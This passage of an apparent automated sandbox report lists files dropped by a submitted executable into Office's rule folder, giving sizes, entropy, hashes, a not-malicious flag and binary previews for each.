Preview:	<?xml.Z}Aj#....:b.{./6......I...7.m_......N......H.......6..fu.<.L.P..6e!....8..4...v........y......&..w...U.3.......6.i.~h-QTw...)n...(...Ql..N..7........~....y.......<.d.3..8......g.b.!.....v..#..F.\|...F...$.+.......W....(0..p...[m../..\|&n.1r.....Em.A...z::?..f..CQ..@.(./..B..3...5..`~...........s..;.....X......I.C\/._........0$....S...y.^..^..A...q-m.Dm...\....d.Q.:...6k...L...~...~..l....]..K#.Z..<...x...>J...o<7.......,....b....:.(Ye....qf..32T..)CRNu..j.<.S../.k.....D01....\|.t......-...t..0.(.j..a...o...._.t......l...........\......w..$$%.{........2.......G... )q.:...\|..;.....1.Z..q?'...d6....y.a,.........p.....n..m.jQCZ.y....EK.{.>...;..N..p.....]........:Mq/..g..rbGR............3_a......B.;.........k..\|.Km,^.F....4.......`^o2J.d..>...6.I.....v..G./......t3&..a..H.A...(...........v....\U.Ypy.Fg..(..]..].RB.\|...U.......'.9.Y..@.S$Wkc'B..!......H.S.H.^.5"sw.I..x8...N..[.0.@.......7.....;V......{v.~.$.\|s.a.7U..F..H.yj. ?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.8905588222329115
Encrypted:	false
SSDEEP:	24:Fge3yY9d7vsx/Q8lhm0MUfIIZW4PL99BOFpd1mWSEG3r6XLniS/VfS2rEZWEvT2X:+MyY9d7mQEWZWT/BOFgW2bNw7VEvAD
MD5:	1D2B8F37A340BEB5BD2217D967E3DC51
SHA1:	373FC604B1DF99CB9EB3B5AA21FE6196354AD442
SHA-256:	05A5601FA1C6AE4BDB4319E2524C086CEFC0B0E009233C03F4D937750EDC669F
SHA-512:	AFE77540F0DFAB22E09174C36D7E23832DCB6DFA52EFC024274FFE5A86ED1F651CAB7C5C89A206DB97DFDD3B10E66A1BFF164858710E938D846184A4FB11C9F1
Malicious:	false
Preview:	<?xml.h.......K..,j7.....%..(..I.0....H..p...]..."I^......3f.#-n.....9}.!(..{.8t....C.....X...).k..Y..!."_.up..wl..@...h.k....g'..A...j.A+.(...$.R..`.LQA.ai......b..8..P.9....P.,i..Ad.{F'..I..l;.%..?..;n....&..3.s....m..h.....\r.D...R.5.p.....).7.15......a.@T.n.k.........$q.4..q..../~f.H........a%v....\......U....mf.mo.&.._Cc...=D(..@?.4..i...T....A..2$[.....~....Z.jJ..4..x..Y.H..U..):....n(i]..9.........Y.L.....-.G.0fdLO.t.\5O.T[...j.........O.........w48...m.$E(.a...\|=EV^U..!..\.......^9.m.[...O..........hW.^.f...{.r..'ZB%.{..d\....n.-.YU.O.^.n..`%&.\|...-....l...N..T.d..(../8.].c..B.<-..D5...?/C.4.......y...=.ch...S..v[w.W..y..__...L;..V...#T.'?.$..D...G.^rN....[z`.......9...;q..D^k-.......FbF.`(.1w.-.@....3n:'..:..fbg......... .{...p.3aw%lk..B.P.f?-..;.P...W....].g~.`......L.=X-F5V+?............e......A}.=k..U.A4 o...%.Hi]w]...1.\|.-cA.X.a...d\|...0.Z..h.^$.).F....d3.......^.}7.'&......$"....B!.S...._y ..].......T..9.&g..!....I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.897564164399439
Encrypted:	false
SSDEEP:	48:CR7M8xkVtwvCA/jzpFHkTbrVwE4D+EACNJsmIlgqBajD:CR7Hx4tZALU3rVwEqRWgqY
MD5:	88DED284E044D62979BB93AD7D6E2C5A
SHA1:	730B15D995487A74E82288E4886A636692955F48
SHA-256:	8F45AFB35DEACAC5D4D11AEC31451C16FA4C2C5A83D02327088AA2A34A0A28AF
SHA-512:	32EF0FA997CC6EC7DBD8CCE9D457AB4AE987A4014C1810544F4E7471CCC8342604D83BB54D469007A56F613A8E98379C62748FE4A24E8E09337BE1B637AB37CF
Malicious:	false
Preview:	<?xml.5...2Y..........T.......^..m.!29.....#.rs.l./.{.m..+h....R!.7..=4..o.Od..m.tA.B-.jc.._..G.b...Y........$..J..7..3.n..7..,G.......+.<..ob...J..........:Xe\.../.L.DG../,..6.vE%K]...p."6H..}......<H.fJ...i.Z...?.........q%...........L.a.)a.~.>..J..A.......#:.....9.SAP..X.i..i.<h[.b..7?..A 0I..W[.....I.Q1Z...../..1..".......%...6."..%4.I..0..s...#kmE]...b/c..X............_.@U_.R....Atn.q...]\..[%~Omgx..lV.f...0...MJ=...].}e...YCP..x4.a(...:..I...+...........+.r.RVo.j-.{<2-......K.I......O..a....fF....J...C.Z....!z.B.TcV?.oC..)F..t..^J....mPs).I...Q.^F.Gum..#..sa...>E.z."Wr+...!.....(.&+kQw....c.8/.B.k/Z;.w........Zx.J...&..~~..hg.........W]..U....H..J0..gC...s6....(.=....m.........]@.(>...M.(....:XS.....~.,....20....x.#.d....;?....d/-...q.!....'. ZS....O2Ag.]b.qn...F....+P]..'le....iyB.d.b.`.....^.. c.$Z.f)....4M.P...N......v.8s..T.....Ib......R.o.V&.X..h.L..@........?..[w..f.9qj#.k!.a.....>..}....r.M(.;.......6C..}........#c.&.Q%.@..S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.863340604391395
Encrypted:	false
SSDEEP:	48:yBw9IHnU3B9y4Nu4wkz1EfSVIFi6r6vjWxCND:ywOUe4V7z1EflFWjWxC1
MD5:	48E675D9AC80172B6FAF43BD9D702428
SHA1:	28AB60D226079FF0E11877332E2CBD6A309597B9
SHA-256:	4BF5CB9EEC954F977406F56C77F3F2B9683C56EE3656CB14D84984E1EBE8A8E2
SHA-512:	C0AFD4D08179267F0CA17C89D3AC5566215E9BDCB927444F58CBDCC0852473068A7A3FBDB451885B9AAFE51B6EEABC006530477E4FA6E93CAF3661A18BF4ED24
Malicious:	false
Preview:	<?xmlB.,.\|c..P...`.\|HB...2AG..\|.......)\|.o...u..Y.,.?~.....!...H..k......a...-b.RW...........k.._.U...{...y..t~+Y.t.,...=........H.<.w\|.lD.Y....R{..vFo.;...K...j.Y.BM(W..pg._.....<..H..`T....C=,).c.....0.@.......=8]K.(I.......p.E..k..p..a.jI..A.P.....xvW...Z.8.@....."....7..... .q...gb{..9..........j.{N.....6\|zrZ.4.....D.:d......i.%"+...x.o.P.b.M.I....a#)g...[;ml.F...%3E.......iv..t;Z2.`.{..~@O%'.-..g..B...........rc.....j..w.@'0..0/...@....3._;..:...Z^.e.gn{...31.7... .d...h.+...}"^xopFS...... .T .S\|[..J.%.'.......7K.Cd3Z.....b}.v..q~....!.Z..K.(.Hl.9.v..9W.e1-.C._-........:aS....+.4..2DI@.f.H.nj..-.....l..F.7zT.m..,..Q.:.Z$..h....R:..t..4.H+...%..4.&.,.....O2k..;...@...Wtu...d..;.d...<7.{:..j.\|lV+..{.t/..jG...z...r7...Q..0.;...9v._.B....".[".i8.J...LL32w.&.... h.k....y.~..ox.........dn{.$...s.R...S.p...VpmF,..u..D.Va..Qf.;...b.gJb.5...""...F=CG.md..y..:..3....g@...o%.-............e.e..CR......:.m.x/.8m\....d.G.&%....H../%M."kciT6....t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.892613492809716
Encrypted:	false
SSDEEP:	24:JgDRxhw/tZjLy3KDz6sOS/A5gbChKFk+NOqnPPqvCsdRrUSP1kmy2bD:qa/DjLy3KqsP/rbC42qfnPSDxUSP1nJD
MD5:	04BA9F59A0D1B1E09B6639A69DA2C3D1
SHA1:	734AE6696914C190B53377947A399363A7E9F9EA
SHA-256:	B788727268FD65903D54C35A1A3900C66B21BFE660EC51B6C8332BEFD84199AD
SHA-512:	8269E05B75389309C8C37A207CBC8432731546E1585C791ECC9513FEC342D430550F403BE4015CF5350879D6FBC9E6D5A3A4FD4964D29E0C989C6CE70250E406
Malicious:	false
Preview:	<?xml.>(.'.^.H..}.....2.Z..J..\|..W..J..f...Y..."c.....CcTkb.#7.5.......(.A.g...[...K^6Pw....,...J..$.o.PS+n.m..j),.."2...+fJ.0Y.s.pj..{q.]......G..t{.Sjs.K...1v.y.5A...X..\(.7.f.....@1....l....E{...Cit0..0....G....<...e.1v.pn<Z.....vP.Z.^b.\|RD..0K+......+.~.i.X&Nhy..C\|.J.t.r..f...s.(.Q.@..,Qu..].....r..2.9..)7A).....n=4}..l...!.3V...L$}.a...x....j,.[l=.....Zc.R..! %....w.].{.i&...YS7:.kf.v.0w..?!'..'.'.v...N...q:..J4..`;..P...<..!X.S....t...gLOXOO]..XE....J....V.k:.1T.]B/@7!.\|...7.j.Q.o.C...N..n2...,.^i^O.T..G....)I.I.EJ....u0i.......ad(.....V....-&....F..).lh....\|.#.......o..N.}..+j...5~.L.s..q`D.7.Id.....[J...w.k......v#...M,[..R8...F>q...,......k)=....F...$..#.Uv....H...}..A$I......0;.h..[3.G.$b..D......v...x.....v2K..A.p-6..2../T....6H..^D.#HY.w./...Q..k\|...7&...@G.9...L..'.........)7X.L..b.`.@..6(...5....G..e...1.l.-.Qe.N......s.x.:..83.(.yN.....LH'.f.69......V.^.1......E\.[.j..g_.....Dk..G..9/*....u.k.`l.......".....0%F......p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.858411147883428
Encrypted:	false
SSDEEP:	24:i2o8v6q65s1oVVBaMaU8B6/g9A2cPjkc8sweP/VqHAJkAn1KtK4JxUcqZ08P7FMz:9vc5sWV8MiUj/eeP/VnJkWKt1DUKuE7D
MD5:	BD5262B94D0C160F77F1A56FCE9C698F
SHA1:	002E4BA249CF81D1EE8F5F96B3EC034D95843444
SHA-256:	F5B45D24A9E14F432D428A5BDE4F6500F09CF3666D9F97A8DD8DDC2EB9664EB6
SHA-512:	F7BC14D951B767FA70D672630D86728F7C629B51971C3AC406EC8BEF501E16F56A3A4EF9FF8B1CA0342B22C2B1088B01496D4D62E2EAB90834831F1E0C9C7714
Malicious:	false
Preview:	<?xml...7 &.6...k.W........D..A....ji>9.]...N..Az....M...f8<..&..V!~v..........<...G...sc.H...,....O......E.8...M...R"...F..E..&.H.%Ol`.W..i:n...A...G.WN.$..4.....;..;.'@.B:...GZ.s.$.A7D....e.T...W....a..........T.6R...5.......z4qt..v.AJ.%Uu[.Z........._.ko..+...7.\|....@.]7j...gS.(l.N...P....>.?...i..W148.H.{.........0M.5/.......b.y.ZB...2..1...,z.R8...s.~c..nt.VG.V..z.%.e#.h.1M............f....u.\|9..O.].G....a..J.t~.C.i.q..,.[$...!.ii...<w.......y.....:48a!.q...k...O.B.....?:...Fg....'..+hih.A.......l..j.t...../.\...z.6.p.......u!..?....f..t.....Q.......7.vgM.....~P.@H.y...l..R...u~..1.4w...+j........n.[)......R,...O..T#PW.."I.U,..w}...js.zv.r.f.T+..k.g.Q-....$ q....%jM7i>b..Le.Y.+b.jAmB.r......_.....t...:..H.!."..R.>...'......=...j.LX..}.VV..N.Z..2].m/...uq.B!.Z..Jw.....Z.>..l......j.#....v%.9.j..=..bC-. v.F.qnk7.}..s....}..}1..;0..2....'#.....8\|.0%...0R...3?.<;T.:.....T...Go.h..n......Z.^..%.`.....B....r.T......]\.....F.U....."....X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.891837786787024
Encrypted:	false
SSDEEP:	48:4AFG0XHIJxcNg5tBzDu8EdNEbPX5wyRLHaDD:G0XHIJxcOBzC8wNe5wyRLHaP
MD5:	C09D6538FEAB672C26F08411D2A09320
SHA1:	C3D16789C397DF95A081B892E91DD5135FFC0D78
SHA-256:	91F347328C94665D782E8C798E382084E752E2667BF95B35B49C306E03180F89
SHA-512:	266B84734F79944517070098FE944144EE2CB880AB8DFBF51A4B74A93C07C228EE0A137E455340A6C9046968C1565A5FFD8E69A9EB135B0E34AC4221B13E6B65
Malicious:	false
Preview:	<?xmlq..S..PD9!....r...{.I....VN.....T<f<..u.u....I%.".......I...K.M.. (/.rK.V....^Ur.O.{.9.5....<KX...d.;.5.....h.Bx... s.3z......\|.[..(. .?1.3.k.........NX.vH...D...z.........e-..j..t..t......r.........C... ..J/..3.(G?...Gf....O..!.v...F..'...p..1.y,....d.o..L../X.O.S.f...t.f...u.X.a.G.Z.oh.Ci.A:.(.../..(..,...c7.R.T=..M..S..i3J=f..z.hb.._.R.T.@(...(..;./U.H.nre...P..T:H..7.....J.>.a...y..l3........uD...:..`0...!..Z.r...).`K.P..s].L.....a...J.r_ksk..!..:.U.....:&...My...W.i..ma....E...G...6"..H+Xb..........s....+......r<eLH....0&._P....$.mE....../m..N.!H..r.....0k.Df,6N.YQ...#4...V..X..b..4..f......Q..%....Ir...V2.m..8yD..../.............I.:..EP.4...R..I.O.Y.4..-..X.,}<.`...#>........f....\|}).9.i...5..[.... ..V...P.+.2.p..e..v..\|..>.'.../d.,JzY..D....A...FG.....^.Cn...n8Z<.*s\...F..+..l...Q..,..u..&..._.u..LT...U...q2......A~.,=...RS.'\Y.iJ....(...K..0.`dg..-.K..0.e..........wK..+%. ..j.h..$..=....x........q..."Y..F..f.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.886941039992259
Encrypted:	false
SSDEEP:	24:XYxXTIJoi4LUivRsgUF0WmQlMKXgISs6UKzSaCU5QfpIlCESJ3kVRU3G86amAJTn:oxjiacL0caKX/S55QxI+J0Kp5JTqVoND
MD5:	93D77C83D81BD6B09C346A41D09DB91F
SHA1:	D41C3BB7011156017FAF1049E8DCFED38AE1702E
SHA-256:	4B2F2B6E81B0E33D68720A514E57A2B23E538045B9E1DFFDA48462CCC5D63929
SHA-512:	D9C4DB4BB64A9AE98B26F486AE7B84565D7C6D0356BB4385989023435253D79864EDF5B5F57E269C80A82774635431E45656923F143C8E5E5A5921EFAE0D5718
Malicious:	false
Preview:	<?xml.^A'+(..........o(..qG.6..>B.T...\|.c..0t..l3..jX.Q.Z....(../ .H-.=..Q4...]T...!...lO~.@Y~...v...-t.r+.x....g....'Q..w......I.....X...X.;.8J..,.n...Xx..n<e...%.t..B...BEUv..p./^-Zq%G...`......u.s..j....S.O.....!2g.R2...$P.Z~xc.o..\|S..:.z.+J...\|....FT.......0oh5%E....3...'......2C....a.-Gw.;..f.K^..u....$Y.J.i..Z...>.^..2-)...H.)..~'.....8.^.go..J}..~.."s.M..jm..}...L........_.ov..}..Yf.?..G%...c.0p.:.]Qj.]..#.Y..[.G.x..c.jz..x..>rT.$.lR\n\|R..\|.$gUh..g.....\|MkH........1...]......}.dA.R...TaO.._.....JM.G...d..An.\|...^.V.W3.GK.L...\jY...\.......1.p. ..T~b...d9.?[.-V...`..z.}...q....Z>Wf...4M...qc...l..v.F8....E3.R...Z.(..q0 }...K...m.......h.....A..u...<.Q............I.r....9.x.\.......vmnZ...Gbr....[L....[Ye,(e.%.as..a....VvB"~)..Z.g....{{u\|e..C.P..i.....>....T"........L."...i.$...2........."...``DS..2.FC....7).......mE..x.x..D;.E...G.....2O..a.....e.K.3;e~q.R.W...<..)n..U)B...Q....W...^.qr....KFX...:H..0....c.k..;e.........xM..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.885797266120361
Encrypted:	false
SSDEEP:	48:wE0hzZDJs4qEmrXuHfUr9qsG7YFs7iVoIdJz425D:p0hzZXqjXu/M4hId+2x
MD5:	0B927FF806F0FADD5AEFDC791BB35DB9
SHA1:	32EBE087B871E9EF143744468B1F0658F32063E0
SHA-256:	98ABCFDD9CEDF250FCE9606986767C30B0B20ED83DA8341724508E5412F79746
SHA-512:	889276137BCCB9DF60945E2EC0C7FE1814E15047DF08AFE37B3C41BF80A65D4E2BE888222D0C251D8DCF4B88E0BC8B015FD885F12700EEC7D9184C03743F7466
Malicious:	false
Preview:	<?xml......"7...9g.G.G.#pu..A.R..._....<.O..b......%.-..w.H..N.p..(...\?.n..U..9R.....I...........%.1...v..1`_.m.@.........\|@!....^.............w.H.+."'.#0...B.}..=.~..5,A.p...\....u.'\|...J...a.\|}...z.-0.T..\|wF...N`.z,.$...<o...#..7..h.."..-...j>z...n.2c..">.=.;.Z.....9........+u.../.......Jn[.b.}....U}`..3..:.\..3(.~......8...n.y....Y.v. .^4L.{A... ..^.<.....U..R%....[G..`.h..?4...P..q...N....2.....f+.%U../E...~\|.$.oz.}.K..E,...]w~>..L;.......thE .0;.....z...W=.......G......:..;C.#.;.... .1.5....e..a.~. ...<]......E.....q/<..W...Q..v_...K.([..c)."'.m$.6W.,&.e..).n\.DJj.'..C....TAr..c(u............5v..&.U..;.}.u....RK..O...k9S.H..\|.I.e......>K./.gL.I.:.fZC.I.-]..U.=sre..X`...F.1.NE......TU...o}7ZU.....L.M.....a..,.......qtM........_>.g.1...R.....gc.<..e......D9.....q.F../..R.0.Y.....wh."a+ .C.x.k.KrA...\|L... .....P.\w..q..E....'8q.0u(..tG..H^$..j..\|.w_.8"N..t0?.AjB...[.@o.'P.......u7.B..r.A........-e^.....mgfvP(!&s....Q\?..$.J......">C.C%.w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879762442718261
Encrypted:	false
SSDEEP:	48:wksdVayzi/HegdqsI2EMS21Tp03CF1xSD:VKJi/HegqszdS21Tvc
MD5:	6C1AB99FEE0988721107A683D48DF450
SHA1:	5B64268326A9DDDEFD723BEAF14DB7A007DD8602
SHA-256:	0F204DC2CBC78C7EAF77708D783A0B513CC5A006DEE1A043C57541C7AA00BB7F
SHA-512:	32F08899472A90A31ADAFFAEC86BE1683B3D1F3A066CA6E4FA0EF75018C8D0562735316B17F09D79D21043FCE5D2BF47FE44E0B8085945218B97A5754371FE25
Malicious:	false
Preview:	<?xml....u~.Y[..#1..\|7p...k,;.R...;k..X...o.~+^......&..?.9...=x..pS.@..c".......o......(=.=.R.[.&,.M.<l..y\n......\|.+$Tz....%....... .{..Q..X2.Q.u..k.Y}.CV.p...}.b..kz.&.Z.p..B..5.t..^...%(.....E`..oz..o..N..u..".=Q...x4ir.v+Lv....}z^...I.,].aK.........c..B...;...2.........@....+.j".ooW...fP.S....pI.:.A.:../...1..n$..X{.v....@....... .....z.c.\|...5.x.Y^.......f.>{.2U..A.....,.}.n...;.N#H..[c.......xp2x.B.Q}t.R7..J.%.H...;.ru..#j.....D..r)j$.#e..6K'...!..=...\.vO.Yy.#..;...O......3>.A3.T.........W.G...d.$vPV^..O.l..+o.@..'.Zrm..l.aM.H/T......]0...{.M.\.'.C%7......M....M..u..)v-*...\|.Y[{.'9c+A.a.4......G.....R....T..;.....G..O..o...1....aL.:..B=.7.{%j.g}.B...]...<=......t...'...v.e.8..k..=.I.V.v....J.=(CN.=o...@...i.k...k.!B.R.s....8...w..4\|%.V[N......7.u.M&....../)O.;_..{Q..5sJrwr...Z.y.<..B^...-.....v..Y.3.6p..W..c.".....}.p.M..e$..!...x........Y....5.&j...$G...9!...!..a.k.^C........r..;..P.Z".gLt.(..~...;#.{5.b+.....-s...D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890095050667676
Encrypted:	false
SSDEEP:	24:oIaHKxUV4ybJfMOIrbI8JaEhC8HBMBvezPsU4MW4XRjHIoPpiwnU7FFjVgQX//CE:URuOIrHJwkWihiwnifgcZJMj8D
MD5:	42FAD39AA2295C1C8A90FC19AF386154
SHA1:	9F0B79652AE63B59AF1BE44929E013767AD8EC96
SHA-256:	931C8E3A9212EA94EFFF5636C9B86997318CD01BBF43DAB8992718571B26D24F
SHA-512:	F63981FC10F0D339C363D2B3C5D75BD13753D87B3B8A5D7B5931D77F4ADD6B46E4E03FD9F105DE37D3B4AA24539805E18D4A672DE7871F87177C470ED8997982
Malicious:	false
Preview:	<?xml..0..'....op.C...2..S..J..-M..N.TV.I...MRg.....,.\|.=.(.p.G3p.....3..']$sZ.N.9..sZ\..&.MI....q...C1..R..E..im.2.Y.R..`.4B..^>.....i...Y>......[..Al....v..w\|.)`{...oV.s.]u. ..O..O?q..9.^J.....a.=...=...!."....5a\|m._.k..E.YC..G=..n.[....FkH.l.PGd....A..}I.......o......i.@n.a..o+.J.z^.O...z..@ ]..R......=H[b....]./......eB.w'g. ...s.<.8..).".S...1.H...%..V..HPb{.4G.~...j.q...z....4q...8.$$.O;:.B.5.L).sqQ..p.Z.../.....a.......QG.J~.h.B#m..UR......[.dN.(k....\........D..7.J.Zh.ce.....P..mNj_..w..x.cO..A..u....&/........(.".@/...,.X\!.....sz..w.....uR.c.1:.G...?.....M.k.U..}.M'....)A.p~>A.!..3&o...uv.....-...S. p[.{.K..8)...)..!1.4.....#...-..x.c.........(.=.N....P"..m.w=.7.",.y6........OsoSZ.}.jl...RJ...my.fS.U...y.@..V..._....$.v;6..XO.nN)...;P......W..{......;1#.....e...7.9."../,.y.p.-^}[....!i...9dz..i%b.......>).w..........8..D\8..{...57<....X9...'M.WyD...xWCx..W...Z..4..Rw8.L@.zIx...[S.ac. .I.\|p_mr.@[..h.csY.......9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885730310206652
Encrypted:	false
SSDEEP:	48:TGl4oBbgfl6J06kv6jl/9o2WS9rtNcbtaTBBAD:Te4J96J0NijllES9rXcbt+4
MD5:	8B0BC5BAC99B513C6C1FDAE0E9AADB3F
SHA1:	C87C6749B91C8A1F2FAF6F576FAB3A23EDEF2D36
SHA-256:	E7C89364C368485F863F601C47A988A4B242912B3A558C2F1FC4440382F5D080
SHA-512:	A932486AF1C35337A404E3A8ACB391F0E743EFAA675A82022ACAF2806494328DE907A7718F6E46BE15F3CCAD1585308F2BEF04E5E78E6A421B6DCBD877865ACA
Malicious:	false
Preview:	<?xml...\|....y...3. G......3.(%..6...V..v4..mc,.zAZ...n.n....}...C.rU`(...". ......)..k........o."s.g..k.."..e@0)EQ...!h...\|..pn....9...n..M.5..........%...%.../_.X.....o..p(Y......S.>.j..h..+..&.;.7.8.q....8...GuVA.1e..a....3l2...P..v..2.l..@..`..u...8.~^..y[".xS.-.4.&...[.-d..s...`..D..4.^;.H....e_.gq...Z..UVG/[H..lrE.\d...~..u..@.Q..2...V....p...-.~k..%^..\)1~.27....(t...b..g.~`>..[w.!.....OrEQ"..F.%.&?..N....Fu....k.aQMO..3.......6.....D.s.Hk......N(..b&7.{...5..J.n....V.1.X^..G..GN..g>3.n.M!G(.e...#l...`....i?.8.D..C..{...x.E..c.'0..:.0..\T`..H.E@.nW../...[P.......j..c.\|..N....9....F.}..0M..&Sq......=.+...b.Z_../..d rJ.....@+..M^I..[.D....K3.r.d..../...@..+..a<.A.Js......rC......q`5.....b.../,...p..kA..".8=t)*."..Fo..i.].J?..6-.u.?u..I?...,2.B.e..O......+x/........v`S...W....ko..PVS..G...=j....<.sOt.I....$p..jPZd.o9U.E2<.EL .M.b..P&.S.....p=.....2..j.........'L.Onaj....#N.M..q>.....:%N.V...X..$Ot.h..z.YIm=..8.......:..29Dg..^....,.y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.895964383010081
Encrypted:	false
SSDEEP:	48:UwuAQPPK9wjMdhmroJiJ6XBpZB1a0ldaD:U+kK9y8niJkZXFq
MD5:	2174F53BC2EAB4B8ADEA38543C4C99A5
SHA1:	C45E3804E9FAC1F254C1CF116D48D9A7E9BF5435
SHA-256:	3101DEA62D5EBC92E3D5C5379446E71BD20ADC5E190B4545E43EAF9D7E81F640
SHA-512:	A8352CA5368D889003126A245A1851AA6F70F1145B6BD7F97E70C2085B02B94F8AF09A89574122662B96CF4AACCD341A8967F59F7E3BDD81E151C2E39B4BA477
Malicious:	false
Preview:	<?xml....g.XX..F. ./.d.a..it...y...Y.............}...}(....n....Y...V.YoZ....VD..@....!S.iTW..LxK&..........qM.+.l..Z.;.(.VzNr..J$..GIa.^6......I......!...5.>.H.+..'..;../..=.'2.......K.8...._(..\|.............?+)IM..{K.w..)..w.A...Y\.L.;........I.s.A... {b.L....X9^....M.]..r..;.....(.Y\|.Rf....1....0..M.7c].Q.v(d.:VO.i.T.#n...6.z.?...Pw.0..~.T....@...u..;'%.I.....%..Lf......5u.k"zk.;..].....5.}.-......Z.....A{Rt!Y.k<..2...N..4l9y..........H./\|.{\.{.Y...W..,....cz..+'+C?./8...D4.k............?.<I...).,...=.........................K....JF.....9.. /."..8..Z.s.H<.]_s....a.}81h.(Px\.].-....s.J.U.o..I..6.N\.[...X^....3.hSL.BG9.T.qU..P.b2...2t........1........)...-..0WqXx.....dq.......b.9....e.F..D...gjMc+\.Sdj..........R...q.....\|kr.ZC.N.{.7..5.b....?H...3..@.D..j.3.h...f..+..>.}Y.7....=.2...t....;....JV.....w}.NE)C...8d... .K.Uv.dA..2k..QL..a'.i...8.gY...}.^7.q\|o.o.C...6d]..;I..L.C....,.....2:....T%).R]]........').(>a.(............I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.903072931087533
Encrypted:	false
SSDEEP:	48:4xXY8LPVGn1dbuLwSxb9i1VXbYVRWyxQKvLmTZIZEivJe9OD:4lLPCva/b9wVX0zxlLmTqET4
MD5:	43B5150E9E90E63B389D5C094D5078D6
SHA1:	AA5683759405C25DC967C6AEF93F5622EF8C542F
SHA-256:	B8BAEC48ABFE2A003F9BEA8B649DD5FDA03322A3CF623E1FA830F75C6648FABC
SHA-512:	EEC878DAB16A63B8DE83969D586227A7A48F664A6C2CA84EC31CADBC8928BAF354B3853E0709D626ADEC50AE79A6D7452A971EB2FDA78527B5DBF8E547DAF6E6
Malicious:	false
Preview:	<?xml.7>..5.4.....#....S.).6z..a..0M...N5......;..'..U...V..<.t...{.&.Sf..\CPOZ.F..........J.8Apj......y.}.9.....O...[&A..ii.B..^.`B)N..j./..sZ...1..H8....}.......7h..:B......B.... mO...SQ..&...1.v....E.v."\....v.\{.8.=....K.....%.H?.. dc..B....0.e...Zy...k+....QhS..}).....#'t...........=."...u...,.ygI ...9.&T....Z.....k...vS./.M....KK.S\...."......E.........C....1..A.p.ZI.WO.....x...(!.OV........q.'.....a...t....j..Y..J..e.^.Q...l\|H.7..3...z....y6..:.nR.Q,.m....V.N.p..5..TS)...w..=:.Br..?.i.....F?.\|=...".._n.F.. ..}Mn._..>.C].....O..X..'..&....5#@.f.........iT.e.i.w~B+.~.2.\.4w..C.L:.z....Z..S5.P..v..7..t..;(SX\|......0.%.M.o..W.0..\|...\|..7..........uL..oO..L.2bh.%.q3<.G..h.k.KzX+..Sx_.\..s>.J.:.,..!...Y.i ...#....Z4.\|.P.!...W...w...C..2DH../..W.p..=....7pg.E[{....b!0AV..)..L)*}%X...U.&.~...........yf...\...4G...2.KV'....n...k.K....>%z.H....w._b..ME..\M>...jK....S....n..[..6Pz....~.....w..P...(...... p..H..[l.J}.Tqq...7.D..E1.u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892462934241365
Encrypted:	false
SSDEEP:	48:3oAdbBGXmzondZC4nd3h4iRtS2cIcPYVpjjAt5AuD:31dbSW4ndZIJgVxA5b
MD5:	799E1B990F170844E9829123D7668C95
SHA1:	AC845E921E39E7DAAC69D80D8CF688499A0195D8
SHA-256:	DFDE7646A6F6027C8473E3E4303B1B5ACD3F40134A20935D99DB6E6B0994E771
SHA-512:	C98D9C4E90212915AD3C49721B279F66E77CF27E1915B89EA71A1FBD4B7242614D862F8B840BECF67B8B3F400F11F61B1863F7901FD5348CC915491D7E11A1E8
Malicious:	false
